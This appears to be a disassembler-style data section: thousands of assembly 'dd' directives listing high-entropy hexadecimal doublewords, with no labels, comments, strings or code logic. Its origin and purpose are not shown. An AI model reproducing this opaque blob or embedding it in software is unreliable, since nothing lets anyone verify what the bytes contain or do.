dd 140E7885h, 937E008Eh, 0AFDF0CF3h, 69007B89h, 5B34E67h
dd 5310A1h, 739AFE24h, 0B0D9AD78h, 45000BECh, 8740F749h
dd 0FEFCDA6Ah, 0F4E8000Ah, 2B0358FFh, 0E17A247Dh, 38047800h
dd 39ADBE76h, 7AA50227h, 36821D89h, 70F4040h, 0EDF80800h
dd 46D9E56Bh, 0BDC11351h, 9380002Ah, 727E903Fh, 0F8DB1700h
dd 0D833700Fh, 0CED50322h, 0F4B05EB7h, 88A5C0B5h, 682484ADh
dd 0D684C849h, 0A0C81F4Bh, 0ACBA0031h, 8C8A8F97h, 7D39707Fh
dd 0E22E9373h, 63CA480Fh, 0A8BD9E1Eh, 71BBD7h, 0F0816C5Ch
dd 0CBE611D6h, 6E828500h, 8FAA0C6h, 0C8FE0022h, 0CF621EEDh
dd 0FC0073F6h, 680AEFDh, 0D19C2Eh, 8EDD9F51h, 75BD2D4Bh
dd 90526A09h, 37088073h, 1E72630h, 8A4C8C38h, 34639295h
dd 0B1427E6Ch, 0D7E93800h, 0C51F2B9Eh, 0A906EB09h, 5A78A04Dh
dd 0AEFA56h, 3A6CD14Fh, 0DF1E5EE2h, 0D012AA00h, 6E494033h
dd 4EE667h, 2B1DB424h, 16610E2Eh, 832C2300h, 0ECEFC4CDh
dd 0F8D47B1Ah, 3CEC46h, 0F9A00D63h, 0FB8FD367h, 56870100h
dd 11145F22h, 71030010h, 0E3639AF3h, 0DE00E5E8h, 0C428E9CCh
dd 7D147Eh, 3CEA47AEh, 9E0B21F8h, 5021539h, 32DEB97Ah
dd 0B650DC40h, 3624FEEh, 84AB9F30h, 808F8E90h, 446CEA6Fh
dd 47C9D000h, 0A4DFA837h, 0DD7205FEh, 8C036BB5h, 0F300B7B8h
dd 77B1AA80h, 0FCE6B67Bh
dd 0C1D800DCh, 0BB8D3969h, 0AD9809ADh, 42501E00h, 64D6FEF1h
dd 68B848F8h, 6EC54400h, 0D968D55Ch, 0B3F33F2Eh, 0E239B000h
dd 0D25765h, 415ABAC4h, 7A1E502Fh, 0B407EFE0h, 16BC3052h
dd 0BADE2660h, 0C2400082h, 4C7746D0h, 4E01D3A9h, 4B3251D2h
dd 0BED81EF3h, 7297047Ah, 823B46F6h, 4440937Ch, 0DF077164h
dd 0C5D14569h, 32AD3930h, 0C31E0022h, 9BFE0214h, 0D0907C56h
dd 0B65CAF0Eh, 0D23B205Ah, 197034h, 31138FF1h, 0D5C5ECFFh
dd 48A17C90h, 9ECCCCABh, 160B9500h, 1A6C397Fh, 0C5200C9h
dd 714ABADAh, 0DD00AB4Ch, 0BEB4D613h, 0B7410Ah, 7609AC45h
dd 59EC1A77h, 0E00070E8h, 9DD05F6Ch, 41B45Eh, 76845B46h
dd 0F30DF05Ch, 4F56B000h, 0F6D4C670h, 0B8B1F05h, 686A80E3h
dd 0EF15144Ah, 0AFAA87Bh, 277574Ch, 3E31B481h, 0A8A1C319h
dd 7B28C59Fh, 0E4E0B5h, 0E9DF9A2Ch, 7B4AAB3Fh, 5237DA07h
dd 0F520B2DBh, 80C8B7h, 59EBC3CDh, 0C484B69Eh, 55F23Bh
dd 0A4CB6267h, 1CB12737h, 0E2C113h, 0CC0991A6h, 3500D414h
dd 0CEC2F612h, 48E6D545h, 0AF005816h, 89A12483h, 3E1205A3h
dd 8840CD6Ah, 1FF636EAh, 16970008h, 0F818CA77h, 66E6EB13h
dd 4257E0FBh, 39ACD400h, 9180AFA1h, 450C1207h, 0B3580273h
dd 4851F3ABh, 0AE955B60h, 0AC2A009Ah, 8E492706h, 0E49837E8h
dd 0DF847328h, 0CB663900h, 97D440C5h, 0A75D00AAh, 4F09184Dh
dd 0F2002387h, 0B6E60ABDh, 1A072E8h, 0EAA97181h, 0F4C1BC01h
dd 9500F319h, 58A61E0h, 8FE91Bh, 0EBA52C28h, 5A540CC9h
dd 3C6DF07h, 41196AA8h, 0FE002B68h, 0B400063Ah, 613CD71Eh
dd 20E5BBh, 81B3A5B9h, 0ACAA3565h, 0D7C6B200h, 4C6D92A1h
dd 0E72D3F10h, 6B52D683h, 7DD03C5Ch, 0C7041971h, 602E38EFh
dd 45FF6CA0h, 0CCAB61BFh, 39032CE2h, 4E91898Ah, 0CA6E0DBh
dd 741500FDh, 0C8370F16h, 0D500A3C9h, 0D18083E8h, 7B8A5Ah
dd 3DBCE23Eh, 0EFDB3C56h, 0E06F0C13h, 1422030h, 0B4BE00EDh
dd 3BD7BF39h, 6F0036CEh, 0EBEFEE3Fh, 17E62C5h, 21D91788h
dd 0E4FDEC16h, 0B30079F4h, 19578928h, 25DD8480h, 0E4DE4A22h
dd 17475403h, 689AD0A9h, 0D590BAh, 6561D0B1h, 74846B96h
dd 90009978h, 634FE2E4h, 2E915D6h, 952627A7h, 0B480A2C4h
dd 2EFEF286h, 0CF0F9F00h, 0B335408Fh, 1A64016Bh, 3CF5C8A8h
dd 848DD488h, 28060C00h, 0D2F0ED9Fh, 0C4CB0082h, 0E3AD60E8h
dd 85053B8Bh, 243520D7h, 378A3CC0h, 1C0484FAh, 7EC65E60h
dd 0BE59CCCh, 89B19DFBh, 715A9D80h, 1009482h, 0A6FF33Ah
dd 1C9C33Ch, 5D413566h, 21095F2Eh, 5160CCDCh, 11834E30h
dd 0AF5F0h, 0C00B15F6h, 0C9E904B2h, 0DE386713h, 0B75C0B00h
dd 404DCCh, 1252975Dh, 0E9787C0Eh, 56401560h, 4F42B4DBh
dd 3BDC023Ch, 0D640F1F7h, 0EC000D5Ch, 0C13FAF5h, 12A8522h
dd 0B8D835DEh, 205F47C5h, 48030100h, 40BBD51Fh, 0DD58B8A1h
dd 74E7022Eh, 675721ACh, 0EE35867Fh, 0D75A0731h, 80526424h
dd 9ECB344Ah, 0C720721Ch, 0AE043E00h, 14A3E2h, 0CDFA250Fh
dd 291FB5D5h, 96EB3201h, 0D89A793Ch, 0FE83420h, 45BD066h
dd 0C2A8FBE4h, 0F0C3228Fh, 249A8A80h, 6CDC700h, 0D0105898h
dd 0A6D40268h, 0DE6C32B7h, 28638D80h, 0E2030B23h, 0D4C5948Fh
dd 6BA380B2h, 622E00D9h, 40EBD05h, 4B00AD26h, 0C7982470h
dd 484ADE86h, 133FA428h, 0EDCC0079h, 0CEE9A957h, 7D00C561h
dd 0A3227FAAh, 2602AC83h, 774DB43h, 334737DCh, 80C51ACAh
dd 1E08F860h, 268F64Ch, 0A170B3F5h, 0F5C6076h, 61E490h
dd 0C024D6CAh, 8C1F0912h, 8AFC0400h, 84EBD43Fh, 6C7B0085h
dd 816465E5h, 51003AD9h, 483833E2h, 3BB2CC16h, 2C0E422Fh
dd 537ABAh, 0B64F4B84h, 0D05050B0h, 2A00E6A4h, 9C53F0EBh
dd 3EEEE0h, 3BA5E4D5h, 6E746F81h, 1DD0305Ch, 85C77F02h
dd 49E1A0CCh, 742813B6h, 82590078h, 6AFA29DCh, 8B7A5C72h
dd 33F639B8h, 0E03C7300h, 60F28EB2h, 5AC30085h, 3F466B61h
dd 99004235h, 9420FF6Ch, 98D2CCFCh, 2F2E0F79h, 8EE076F0h
dd 0BFAD7C23h, 7712A024h, 45920607h, 19649A10h, 0DD9002FEh
dd 1708759Eh, 0AD47E460h, 46B55E1Dh, 223F6040h, 0A00AF18Ch
dd 722D05B6h, 190660A7h, 0FCE9457h, 79112863h, 0C013EAB2h
dd 46D3979h, 2C6B1A03h, 0EE18C0A0h, 570B06CAh, 80F7E787h
dd 93DB0D8Dh, 0B032004Ch, 90545D70h, 0AC2D75D0h, 48202015h
dd 0D4AABAh, 0B588D11Ch, 0AD63F3BBh, 1D057F09h, 0B2188026h
dd 322240h, 0BBD324DAh, 9033B6BCh, 0A8FD48h, 687FDE29h
dd 3E7962F2h, 4E802CAFh, 0FF4BCAB9h, 991E2BD9h, 0BF00E8EEh
dd 0A2E1BE68h, 94251C4Ch, 9BF4817Ch, 21F7015Ch, 47C02039h
dd 213C4407h, 2230A4D0h, 0E98F9F1h, 923F69Bh, 0AC0002AEh
dd 160D42A8h, 0D07EE8E8h, 9A89FC09h, 4098C062h, 68A30061h
dd 5D3FC45Ah, 9B26861Eh, 5B005890h, 51CCA449h, 8FDE2AA0h
dd 60930090h, 379AA2A9h, 9598ABC3h, 145AE21Ch, 600183CFh
dd 470BF293h, 8F9E0066h, 0C6A0C2D0h, 0DE0008F6h, 9514CA3Dh
dd 0C9BA7Fh, 56A547C0h, 0FC67AC1Eh, 24F3FD00h, 5D4DE6Fh
dd 0CFBC005Bh, 0D2BBFDAh, 0F905655Eh, 0F8138E22h, 0C6C9A780h
dd 9AD9011Bh, 0A6D88D2h, 0A9A2C017h, 9244AC00h, 29AA3D64h
dd 237862h, 0F62A5D8Ah, 87F67A3h, 0B842109h, 6698A4B0h
dd 5B325380h, 0F570B8Fh, 2063383Ch, 22002BBFh, 6EA830FCh
dd 1AD8003h, 0C8509FBFh, 7B7086AEh, 0DE01C44h, 25BB4063h
dd 0A9F9D89Bh, 0C7020E00h, 389F3F8Bh, 0AAB207A2h, 0A1A4EB9Ah
dd 0C8819D1Eh, 0E70014FBh, 718341B7h, 90C08072h, 0B42C00D4h
dd 52A66722h, 37074A25h, 77D086FBh, 0B24D73A0h, 1C0D0028h
dd 543843D8h, 0FC01DEE5h, 60B008C9h, 3DEC59B5h, 4A200EEh
dd 0CBCD5C66h, 8803D645h, 0DB5BF74Dh, 0DC93E092h, 70590990h
dd 49809B10h, 0F83AD14Ch, 5DE8161Eh, 0BE201BC3h, 6B2BA0D2h
dd 76A90245h, 299BD513h, 0BB4ED4A0h, 440066B5h, 3C9793A0h
dd 396BD5D3h, 0C383C2C5h, 0F53E80BCh, 0E5CCF8D0h, 26B1E209h
dd 739CE12Dh, 0BF0F542Dh, 0B9DC2549h, 13071980h, 7523FE02h
dd 7BDEE200h, 53B35CFBh, 0C63C044Fh, 0F41BFA32h, 7039114Ch
dd 4CDF8033h, 0D37BCFE5h, 8CB01302h, 2A5C88BFh, 0C7EA24E2h
dd 80CA403Ah, 6BA2B0D2h, 92553Ch, 8AFE184Eh, 0DF6AC1C8h
dd 81EB7D3Eh, 0F90514CEh, 0D4302189h, 90FC80h, 8CE6D919h
dd 0B2202AA9h, 36B7F000h, 307CD318h, 0E1F0959Ah, 391A2C2Eh
dd 0E880031Ch, 6B1D35F8h, 3A141827h, 676E92CDh, 86EF0C19h
dd 5BEC6502h, 0EA440357h, 0FA566136h, 0F00871E8h, 9523311Eh
dd 11470746h, 0C6A93D3Ch, 59148F18h, 68B25E0Eh, 65539E01h
dd 5AB4616Dh, 0FBD872FCh, 0E91830h, 0E155643Dh, 42BFA8Fh
dd 205A300h, 15247D29h, 34CC003Bh, 0C3DC4AE5h, 0B03E50B8h
dd 40B3AFCFh, 6032C7Dh, 33DA825Ah, 0EB901039h, 81076A00h
dd 9B926D05h, 27DD3030h, 39A3A989h, 0E10F2301h, 0E0F72511h
dd 2E4A26C0h, 83E0F0FBh, 7F321DAEh, 5033078h, 3BF8242h
dd 0CB690062h, 0F1163A1Ch, 8C3014BDh, 9F463090h, 2300C37h
dd 0BA602784h, 100FE275h, 80078AC3h, 34DCA27Ah, 0C654A035h
dd 0C2AC3E92h, 91210831h, 0F37F21A8h, 52E030D1h, 1704425Ch
dd 0FF04E01Eh, 0EFFB4925h
dd 80691F20h, 8B2BB00h, 5EEA9919h, 43F878h, 16C68F66h
dd 0A44F2E0Ch, 3F293Eh, 0B1192DBEh, 74065A2h, 7F2172EAh
dd 0C47C20B3h, 0A000502Eh, 0C191E557h, 3AAC2F4Ch, 4280EDB4h
dd 6CE26FA7h, 1C00130Ch, 39F8D295h, 65C33251h, 3AAEE1B0h
dd 470FBA04h, 0E2E0CEBCh, 86A9AB3Bh, 9FFB19C0h, 82E98Ch
dd 0AC96251Ah, 0FD1580E0h, 551B8400h, 0C7E5CFFh, 250A007Fh
dd 7B51B366h, 99301D15h, 37C961A4h, 3E8A02B4h, 0C61078F9h
dd 20B0DC44h, 0CB38CCF0h, 0F6D80B0Ch, 1C2580D3h, 13D0DABh
dd 270E14C1h, 0BD43A355h, 0F8DB87B1h, 94D0D666h, 1D04531Eh
dd 91FD68h, 44FE1BCAh, 0C2269D90h, 0B7007462h, 59C0939Eh
dd 49B600A2h, 0FF2A768Ah, 0B8C08D4Ch, 0B2BA11B3h, 93A40D4Eh
dd 0F07C104Fh, 0AE30F9B5h, 0FF8F18CEh, 95530CAh, 4D1CEE30h
dd 0B5913B60h, 61825611h, 69FF4053h, 0B728830Dh, 16CBD2F9h
dd 40C23340h, 0C1D4E3A0h, 3B06DE1Ah, 5D2F9074h, 0A4B50A31h
dd 8FFA9h, 1C683C3Ah, 3B2611C5h, 31004C2Ch, 2B480BCCh
dd 9B6B0A7Dh, 80C8B086h, 27E4BB17h, 9E007401h, 0DF1068B7h
dd 6CBC2F92h, 0B2A8E88Eh, 0F390CA60h, 0C1A8F44Fh, 2721C1E8h
dd 0FB60872Ah, 31AD4037h, 80501AF1h, 93ADB231h, 452AE024h
dd 0F7011FBEh, 1910B741h, 2BF1B649h, 0E7BDF0h, 0E8C78C24h
dd 10DE9E21h, 0CF6AFA00h, 0DC52047Ch, 4C1C01ECh, 412024D7h
dd 3EAECCCAh, 79CF3330h, 7748F4h, 71234D60h, 4C07640Ah
dd 2446101h, 0FCC3C26Ch, 0BCCD90E7h, 0C599CBA8h, 0F89E7441h
dd 47012980h, 0DEC31C45h, 0C7C17CB1h, 0D448C062h, 92387B00h
dd 0ABA25A10h, 0FF601892h, 7B0AEA21h, 762B008Ah, 46B5F9C5h
dd 2E005571h, 17284B3Ch, 24D9BB16h, 4866Ah, 1F38EF2Ch
dd 4F480B6Eh, 2A7D0388h, 2C11DCB5h, 40C86380h, 1C41BD03h
dd 293BDD07h, 7DF0608Eh, 28A7E15h, 0F501C337h, 18400C6Dh
dd 0D514B89Eh, 0F1206FFDh, 1E18E151h, 0AE43100h, 5629C227h
dd 91E8A0D9h, 9E171D3Ch, 7C3A91DBh, 1368750Bh, 2D10A4B9h
dd 3848A093h, 68806D21h, 0EA1FE687h, 644DDCF8h, 4CA49C00h
dd 9F960B05h, 0C200C05Fh, 0CF250841h, 1D3919E0h, 81B508E7h
dd 41DA5D21h, 7DF8579Eh, 117DC7h, 1C3B603Dh, 0E546A835h
dd 0DE48D600h, 8D3F0ADBh, 8CB4932h, 40816E1Dh, 4C7C368h
dd 0A5008E2Fh, 18FC0C3Dh, 2E19315Dh, 3A041D06h, 0FE7A049Eh
dd 78D79E14h, 17683980h, 448C4AB9h, 710FF946h, 20C8EF68h
dd 0A50B6D4Eh, 0A05F7197h, 99AF1EE8h, 9FAC801Ch, 519629F2h
dd 7C82848h, 336FAE23h, 0DC902069h, 74C0DF12h, 27820C03h
dd 0D208F9FBh, 0AC1D1C0h, 600DDFh, 8B16FCFDh, 0F8E8DF9h
dd 7E703F62h, 11B0847Dh, 1241C060h, 11BF2523h, 0D85F00B1h
dd 0CBF24F41h, 35CC1249h, 8714011Dh, 80526F7Eh, 6D0C1C58h
dd 181812C1h, 91471DA2h, 9CB9967Ch, 0A81C243Ch, 2E111D98h
dd 363F00F4h, 0D39A8AAh, 0FE0EEB99h, 8711950Bh, 0F523B53Eh
dd 8233A0C7h, 0F180D8A2h, 6D2792Bh, 0FBACF800h, 9898C31Eh
dd 0C0B954F4h, 65713EE5h, 4763F12h, 30C6FDD4h, 23757B14h
dd 6080892h, 0BEB037Dh, 0DB80F87Bh, 8E2831C2h, 0B41FD0AAh
dd 5E80056Ch, 0D835E816h, 75F93FF5h, 9A5A8080h, 0C6600C72h
dd 53491563h, 3075E8FEh, 0BC075063h, 0AC73F822h, 0DF0E04E8h
dd 623203CCh, 6C520CFh, 0CB15AADFh, 0A4B098h, 5BEAFCACh
dd 0CCD724h, 0EB53DEC1h, 82938ABCh, 99FDC801h, 2F1F449h
dd 0A9BF820h, 74ADEA5Bh, 0DF13403Ch, 2A4603CDh, 0BE00D322h
dd 0DC15DF0Bh, 96447A9h, 0D221B91Bh, 6DABF0A0h, 0D701D194h
dd 16D6C2F2h, 2432AF89h, 796917h, 0D46B1F00h, 0DA6021B8h
dd 0E83CF939h, 0C82963CAh, 982371CFh, 0DF08006Dh, 830203C2h
dd 0BB677091h, 0C115E000h, 0AE0500B7h, 5E85417Bh, 0B28048C7h
dd 5025F1F4h, 0F689E030h, 0DCF62821h, 0C0E951E0h, 0CF88380Ah
dd 1B909BC0h, 4A701Dh, 0F534677h, 49B599EAh, 410834Dh
dd 1B585CCBh, 81C9C608h, 52B91EC0h, 4C221036h, 6874FC00h
dd 908F32B6h, 7FF82E37h, 7C9B5328h, 176098D4h, 923C7B04h
dd 602D59F0h, 0B5017B6Ah, 0D9B91DE3h, 4072D822h, 18C5A899h
dd 3068653Bh, 0FB54281Ah, 0D568731Fh, 8B0971DEh, 91849717h
dd 545A8052h, 2E0E48Bh, 39628850h, 98441E3Eh, 6437910Bh
dd 219CA1B4h, 8205D992h, 8C607DB8h, 0F4A053DBh, 3D20BD04h
dd 0FACA12Ah, 0BE026836h, 0AF251441h, 6110B231h, 510641D6h
dd 381B9687h, 0C2CE2550h, 86273420h, 18C14E77h, 0B81BC3Fh
dd 0B16FA420h, 7D03D0F8h, 7A200286h, 0D892825Ch, 6ADA060h
dd 0BB4650C3h, 6B2B92ABh, 0AB04C320h, 0ED02324h, 1341CD01h
dd 0D033B725h, 41C56480h, 0B50429F7h, 0E2CB78FBh, 531C481h
dd 59660034h, 284C38EBh, 7017023h, 0A03C1DFh, 0BA800433h
dd 2A96DFFFh, 48F8A903h, 0EBAB0D58h, 0FC410781h, 0C210049Dh
dd 0DC8EB060h, 12606056h, 762811B9h, 0C30FE4D4h, 40BD663Dh
dd 0CBEEAEF6h, 1D1C0E0Ah, 37A09253h, 772CFF90h, 25480C60h
dd 0A754BF96h, 60D8445Ch, 0F07C6Bh, 0E64C2133h, 0EC499AF1h
dd 1C29A124h, 838FAB06h, 0BACD2951h, 111C24B8h, 24D9887Eh
dd 0D5465CA0h, 0F5783C04h, 0B26080AFh, 22038B46h, 98622321h
dd 0FBECC080h, 18821C69h, 43B925Fh, 30C6FF30h, 7F377B1Ah
dd 1448C92h, 7B1101E9h, 0D2C9131h, 0B7C0F285h, 9202AA6Fh
dd 0B870EE77h, 26004513h, 0D3465C40h, 83B73E00h, 98A95C0Bh
dd 0AD94A554h, 0ED3C1001h, 69E0FF13h, 8A8861F6h, 6E886072h
dd 0C3DF05C0h, 9CFA5303h, 0DFFDBC80h, 0A726CF2Bh, 0B8023421h
dd 58E1DA29h, 78FF24ACh, 0D07C9410h, 0AC1DD5CBh, 0A98ED811h
dd 8F0AB660h, 70092B18h, 0A042A327h, 0BBF00558h, 0B33E006Bh
dd 37B6E15Ch, 0D5120235h, 20122B75h, 7340C8h, 0DB139397h
dd 9FD06D32h, 10B78027h, 60E67A1Ch, 70FE11B8h, 0FD74AB1Ch
dd 5CAC4894h, 0C3610830h, 0F9460744h, 7F380612h, 1D46F93h
dd 1CF7124Ah, 30383C02h, 0D54285h, 884F2998h, 34B10DAAh
dd 11701769h, 0D4288004h, 2AAAF471h, 3BC07E33h, 4F017416h
dd 9821C459h, 3097DAF3h, 66800691h, 0F9B90B31h, 0A8DA9632h
dd 0BC40CB2Dh, 1A683860h, 9672B925h, 70713Ch, 0C5F84F68h
dd 0D3E48AB0h, 0C73DB500h, 9CFF926Eh, 8C0D59B6h, 7601DC23h
dd 62B91468h, 6E894718h, 17D68C4h, 92A9F8E4h, 305C5E42h
dd 84CD534h, 96107DC0h, 0C6034DDFh, 0DD5A2138h, 0A034C82Dh
dd 0BA3DF280h, 893203AAh, 0C303656Eh, 2A436914h, 24029298h
dd 442B2780h, 0C143FA0h, 0AF12468Ah, 346D6E4h, 8945C00h
dd 26AB1A3Ch, 86E03100h, 6A216032h, 4120B9CFh, 0A1112743h
dd 0A81FC41h, 0A459BDEBh, 4932F030h, 0B87DB8C9h, 4E860157h
dd 0BDC4BA13h, 0DBF030A2h, 0CC58AD42h, 158CCEB8h, 0B0D1E3C1h
dd 0D046B1C0h, 2F016EF0h, 0AB7649CBh, 598582ACh, 903D060Bh
dd 4754B0B8h, 3A1E4602h, 20AF98EFh, 83FCF835h, 69ED0703h
dd 90FDBDE6h, 2791C65h, 80C37D99h, 0B8BAAE6Dh, 4C4DC45h
dd 2889D660h, 1F48A300h, 0A22FBC46h, 0A73B04E2h, 0B4447F5Fh
dd 6E1727D8h, 7C215D63h, 28092B11h, 8CB3ACE4h, 8BFB1A0Ah
dd 3826D063h, 18800911h, 0E892397Bh, 88705943h, 7B1F0FE7h
dd 6C7FC4Dh, 3FE07AD2h
dd 43ABB1h, 0F8F66334h, 0D7E2D962h, 0D009D899h, 97AC0BAFh
dd 804B918Ch, 3D790AA3h, 0D0BC5CCCh, 22DC1D93h, 0C261B4A1h
dd 94C64407h, 6CB252B0h, 0A13105B2h, 0FFFF5DD0h, 245CD9E6h
dd 954900EFh, 0CD6CA803h, 8097B925h, 0DF768760h, 0E4149463h
dd 0D82B176Bh, 0C9000323h, 0EED8E607h, 0D4AB0C96h, 46500301h
dd 57808D00h, 59B0AAF9h, 0E1B34C38h, 529E271Dh, 0EC144240h
dd 7C5AF94Dh, 31B87404h, 0DC8ACBF2h, 1A29B702h, 0A4685384h
dd 706DEBAh, 1B55C504h, 9BCCA070h, 2DCE8064h, 0DC968C90h
dd 0C1D0FEC7h, 0EBC9B4Bh, 19799C87h, 10D10BC5h, 0B1031895h
dd 82577A84h, 0F35C7FA8h, 7489B400h, 80B579E0h, 0AECE01EEh
dd 5B962713h, 0E470894Ah, 0E1904BBCh, 10342F8Eh, 0C031031Fh
dd 0C3F3E7E9h, 5F40E5F0h, 80786093h, 9C1B00CAh, 62D25B5Eh
dd 0D14D325Ah, 6768002Ch, 72E865DEh, 0C40C00F5h, 6E4D108Ah
dd 0BD0EB5D9h, 9279B44h, 61084D23h, 80E25365h, 1D1BC208h
dd 0D7FC5F5Ah, 1706E50h, 2D54387Ah, 34D0C846h, 52492DF0h
dd 0B491A017h, 4DBFB183h, 4023859Bh, 41CC0315h, 61CC250Eh
dd 63002B7Ah, 3C1341C4h, 4CFEh, 0E2F91D54h, 438E3F25h
dd 7188F0CCh, 0CEDF14C0h, 98225303h, 0DF0CBF80h, 61028AEEh
dd 0E73EB50Bh, 8514D97Dh, 8833D6FBh, 940063A0h, 903264BCh
dd 4DA3CB6Eh, 71243Fh, 1FF28765h, 5CBB71BEh, 77A9E300h
dd 33574FB3h, 0CBD60E74h, 0B581C31Eh, 2150FF3Ah, 0E0E6E210h
dd 0F6B9121h, 49C43CDDh, 5DACA78Bh, 39FA874h, 900F3285h
dd 0E1BD3C4Fh, 69863A4h, 0A0C43791h, 20E0B018h, 0DCA0D95Eh
dd 5CB936EBh, 64C4454Bh, 6445604Ch, 4792181Eh, 0D9AD6954h
dd 3CCB2620h, 0D885FBECh, 0C2F89F19h, 0E497223Ch, 0C080D391h
dd 0D2ABBC6h, 0F4305A00h, 673C36DCh, 2F7C4A90h, 452370h
dd 0DF2A41C6h, 84980EFDh, 8443720h, 0F021F44Ah, 1B8E8702h
dd 209CC443h, 0A8982931h, 13615722h, 4143DF5h, 0D018C538h
dd 0CC49DB24h, 9800595Eh, 0D82F9038h, 20D0A4A6h, 0B60732BCh
dd 0DCB5E63Dh, 1A14A66h, 0D6C1557Fh, 0DCE90288h, 0D019CC4h
dd 70AF4110h, 9BFCBC23h, 313663A3h, 4EB0E982h, 98508053h
dd 800A2D8h, 2BABC734h, 2E31AF18h, 4434A77Ah, 7B1E600Bh
dd 0F892133Bh, 108A59h, 3A7B15D5h, 759F0FB7h, 22890061h
dd 0C48B6DABh, 0C9C4A6F9h, 14B4FC1Dh, 231EE1Ch, 926EA083h
dd 86759D8h, 182CB442h, 0C7488727h, 9B9C00ACh, 0B56E182Fh
dd 2E770249h, 0A9243790h, 310A4058h, 7053831Ah, 4465Eh
dd 7AD96AE5h, 1FBB580h, 497CC1ABh, 621A25F4h, 0B43A9268h
dd 0C500D423h, 394D6EB7h, 65C10980h, 0EC4CDDFBh, 97181225h
dd 81461148h, 4CC4EBBAh, 7C030F8h, 5A5CE5EAh, 0AEE620B3h
dd 34072FFAh, 9CE0271Dh, 94F4A5F3h, 3C0BACC1h, 0D490FC62h
dd 0C3010C23h, 0E7250541h, 5EB01C68h, 0FB0041DBh, 0AB351C4Ah
dd 642B9685h, 0A24858AFh, 0BC345C48h, 0D1E88CB2h, 0E633B50Bh
dd 0E5186252h, 6151C400h, 0D0C4E238h, 0F09100E9h, 0AB3C5F86h
dd 1E898096h, 0B59F3F4h, 0FC71BD03h, 936180A0h, 512E27D4h
dd 6365CC46h, 18818CEh, 0E17597C0h, 0BFDF0134h, 8FAB2E14h
dd 41A311CBh, 0F37AB180h, 0EB1C66B6h, 0D33AA07h, 95826776h
dd 0D58CA0A7h, 0E6C0Bh, 56F9E2A5h, 0B8F88024h, 79A112Dh
dd 0D229CE90h, 0B1BE00B0h, 15FD5BBAh, 0D183D9Dh, 34A191B0h
dd 0C740A0C8h, 732301E4h, 0B40D5857h, 4033D11Bh, 0E0190C10h
dd 34EF503h, 0F98CBE90h, 0F1083288h, 8038913Ch, 0C29DCD45h
dd 0EBFDB0Eh, 9EC31DCCh, 271C019Eh, 72961843h, 0F5D660ECh
dd 2030DAh, 692AD786h, 899281A9h, 0A5744C00h, 3D0DE7B4h
dd 461B4ECCh, 41A6959Ch, 0F4253200h, 0EE05A2C7h, 74D0BE7Bh
dd 50241846h, 7E1F3AF8h, 0AD842462h, 0B491089Dh, 0C8CEBF81h
dd 5A7C2347h, 64C30412h, 5807A485h, 0B030F168h, 2660383Ch
dd 467C2C4Bh, 0EC4609D7h, 0B4484CC9h, 0CF46DC3Ch, 160A1400h
dd 0ED07F2D8h, 80E5102Dh, 29EEF134h, 19FE818Ah, 2676A420h
dd 70B4C092h, 7B3A0CECh, 0AADB00C9h, 202E2C73h, 3C73F790h
dd 413051B2h, 1BD203E5h, 0A6CFCE69h, 0B880CDE2h, 10233E79h
dd 0FF1D79C5h, 1E54C88h, 0B10740E2h, 32D36E25h, 2427C254h
dd 1170567Ch, 41C1800Ah, 8CD72507h, 12B7720h, 0CB41D960h
dd 0E17957E1h, 1BA0D831h, 6DBCDB01h, 0A7C221B8h, 5ECF438h
dd 0F5700B8Ch, 1830091Eh, 0A0BE1816h, 13C800D6h, 2E42CE90h
dd 3C70EFB9h, 0F79E280Ch, 90145859h, 0B12448D8h, 31EC7213h
dd 0F4703C28h, 7403E74Ch, 6E2EB495h, 0E3ED9AC5h, 91B93870h
dd 0D99EC287h, 0CD6F030Ch, 0CA3E6088h, 3B061212h, 0D0B61023h
dd 48C3F935h, 0D2BC7C22h, 0B9B0008Ch, 0A7F832C3h, 2893D6C9h
dd 46D9B502h, 5A5854CFh, 49C4B065h, 2B198761h, 0A4B68052h
dd 0AF7C39A0h, 7A0B930Fh, 7F66E2B7h, 0E9840F5Eh, 8138D449h
dd 516704h, 5ABDCC4Ah, 0C2FC7212h, 484480C7h, 0F8E7CC60h
dd 21677209h, 9B788036h, 10492743h, 21D19ECh, 90B7D246h
dd 3AC4D10Eh, 5212F602h, 0AC400DF9h, 24FB9873h, 1E1C9988h
dd 66C44DDAh, 6B803EF4h, 13B0044Ah, 12CC5496h, 0CA1840DCh
dd 0B6AA2107h, 6FCE20F1h, 940B8EF8h, 0ED3840D7h, 67D2642Ch
dd 0B53A46B0h, 61D90990h, 9C2112C6h, 0DCFD99FAh, 262E355Ah
dd 0CC06E801h, 24F0EFCDh, 0E40C8E75h, 683760D9h, 0A7B97919h
dd 406F1CACh, 5AA98068h, 4C126BE5h, 4A4338Dh, 8AE6FEh
dd 81B27CE1h, 19B97B97h, 29781E6Eh, 3E308023h, 97296AAh
dd 1118B694h, 62C70002h, 17C67E21h, 0CB6DC985h, 0B0D70F8Ch
dd 0E35DCCC1h, 0F99CF475h, 4C2CBC71h, 0D83EA1AAh, 7941103Ch
dd 935E8D09h, 4D00D878h, 1EDBD0C2h, 36EA4EFh, 869BA84Ch
dd 712E642Bh, 4674FC85h, 0B56500B6h, 291BFCC1h, 0E0131296h
dd 0F010B680h, 136D4C1h, 0B8499DE6h, 20A96A31h, 98C89CE0h
dd 944481ADh, 602D72A0h, 0FC009DDDh, 3AF08C76h, 0FDF05h
dd 8E49CB90h, 174CCD3Dh, 4AE0ECA5h, 0C7109Eh, 6E4CDCBEh
dd 0CFDA7F12h, 7511A21Eh, 340778FDh, 16EFA14Eh, 100BFDF0h
dd 0C2D8007Ch, 0B2A6B65Ah, 2002CEBh, 8069FFA8h, 9024CA29h
dd 0D0CDE405h, 4F0EF048h, 40980C34h, 0CA015DF0h, 0A95B76A5h
dd 30EB8F0Fh, 0CE21E808h, 0C501CA55h, 3CBC60EDh, 79811A17h
dd 7E9ABFE1h, 63CBD006h, 0BCF59900h, 0CF6ACF0h, 0FC3678EBh
dd 1C4E3F53h, 8B28E981h, 0FC4D07A5h, 10C0DEBFh, 2E2A318Ah
dd 0F6A106B7h, 18D8AB13h, 0E67A501Dh, 18F9E806h, 186D7471h
dd 11CB17DEh, 4C076427h, 0EF714EB2h, 0F0494691h, 218024F5h
dd 0C54C5C0Ah, 0BE5CB340h, 112A00D5h, 613E18B0h, 0B7A20374h
dd 5CC9F116h, 0F10001FBh, 424999A0h, 3039EBh, 0E36C2558h
dd 0FDBDAD29h, 0F600A990h, 0DD90119Dh, 367A9305h, 0A0A8B2FEh
dd 5516DB46h, 98B71A4Ch, 50195024h, 0AC487185h, 0B79524FCh
dd 0CF18718h, 9010660Eh, 0B726494h, 408CE451h, 0EDCA91D6h
